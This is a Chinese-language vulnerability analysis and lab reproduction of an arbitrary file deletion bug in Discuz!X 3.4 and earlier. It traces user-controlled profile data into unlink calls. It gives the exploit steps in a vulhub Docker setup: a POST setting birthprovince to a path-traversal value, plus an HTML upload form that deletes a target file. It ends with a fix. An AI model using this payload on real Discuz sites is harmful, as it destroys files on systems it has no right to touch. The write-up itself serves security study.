Discuz!X ≤3.4 任意文件刪除漏洞
簡述
漏洞原因:之前存在的任意文件刪除漏洞修復不完全導致可以繞過。
漏洞修復時間:2017年9月29日官方對gitee上的代碼進行了修復
漏洞原理分析
在home.php
中存在,get參數不滿足條件時進入
require_once libfile('home/'.$mod, 'module');
libfile
(功能:構造文件路徑)
function libfile($libname, $folder = '') {
$libpath = '/source/'.$folder;
if(strstr($libname, '/')) {
list($pre, $name) = explode('/', $libname);
$path = "{$libpath}/{$pre}/{$pre}_{$name}";
} else {
$path = "{$libpath}/{$libname}";
}
return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
}
利用中的請求的Get請求:mod=spacecp&ac=profile&op=base
經過處理返回到home_spacecp.php
在此文件中最后一行,引入文件spacecp_profile.php
問題所在文件:spacecp_profile.php
upload/source/include/spacecp/spacecp_profile.php
進入代碼70行
if(submitcheck('profilesubmit')) {
提交profilesubmit
進入判斷
第185行開始對文件上傳進行處理,下接第205行
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}
文件上傳成功,!$upload->error()
進入unlink語句
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
回溯變量$space[$key]
(用戶的個人設置)
$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');
從數據庫查詢用戶相關的信息保存到變量$space中。birthprovince
就是其中之一。
因為birthprovince
可控,所以利用這一變量,在設置頁面提交即可繞過字段內容的限制
此時$space[key] = $space[birthprovince] = '../../../robots.txt'
漏洞復現
啟動環境
用的vulhub-master進行復現
啟動docker
sudo systemctl start docker
運行環境
cd /vulhub-master/discuz/x3.4-arbitrary-file-deletion
docker-compose up -d
復現
docker exec [容器] ls
查看目錄下文件
注冊並且登錄后進入個人資料 查看源碼找到formhash
(第二個)
請求
home.php?mod=spacecp&ac=profile&op=base
POST:
birthprovince=../../../robots.txt&profilesubmit=1&formhash=b7a54465
其中formhash為用戶hash
修改成功后出生地會變為../../../robots.txt
新建一個upload.html,構造請求向home.php?mod=spacecp&ac=profile&op=base
上傳文件
<body>
<form action="http://ip/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
刷新頁面發現出生地變成了圖片地址
請求后docker exec [容器] ls
發現目標文件(robots.txt)已經被刪除了
漏洞修復
直接刪除幾條unlink語句